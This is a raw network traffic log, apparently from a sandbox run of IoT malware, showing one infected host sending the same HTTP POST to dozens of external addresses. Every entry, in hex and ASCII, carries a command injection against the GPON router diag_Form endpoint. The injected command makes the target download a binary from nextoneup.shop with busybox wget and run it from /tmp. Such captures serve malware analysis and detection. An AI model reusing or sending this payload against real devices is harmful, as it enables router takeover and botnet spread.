Apr 14, 2024 04:00:31.918268919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1091	192.168.2.13	41448	202.85.87.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918247938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1092	192.168.2.13	47254	178.123.227.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918307066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1093	192.168.2.13	53048	123.138.237.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918344975 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1094	192.168.2.13	41184	210.185.51.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918363094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1095	192.168.2.13	46166	37.42.30.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918364048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1096	192.168.2.13	43654	212.100.250.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918380022 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1097	192.168.2.13	34588	210.50.248.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918387890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1098	192.168.2.13	42072	123.73.161.64	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918412924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1099	192.168.2.13	49872	109.104.221.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918437004 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1100	192.168.2.13	48842	212.38.135.97	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918462038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1101	192.168.2.13	54950	79.142.131.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918492079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1102	192.168.2.13	43708	123.126.145.54	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918505907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1103	192.168.2.13	45432	210.162.64.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918505907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1104	192.168.2.13	58414	118.252.230.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918520927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1105	192.168.2.13	38302	210.55.126.96	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918534994 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1106	192.168.2.13	34554	202.111.242.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918575048 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1107	192.168.2.13	48610	202.142.14.76	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918586016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1108	192.168.2.13	38794	212.217.231.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918627977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1109	192.168.2.13	56422	123.26.32.212	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918649912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1110	192.168.2.13	39820	109.176.136.87	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918649912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1111	192.168.2.13	46720	212.247.37.183	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918689966 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1112	192.168.2.13	41758	202.170.23.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918699026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1113	192.168.2.13	40656	117.40.120.55	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918715954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1114	192.168.2.13	37936	148.58.162.155	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918745995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1115	192.168.2.13	44210	123.178.27.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:31.918754101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

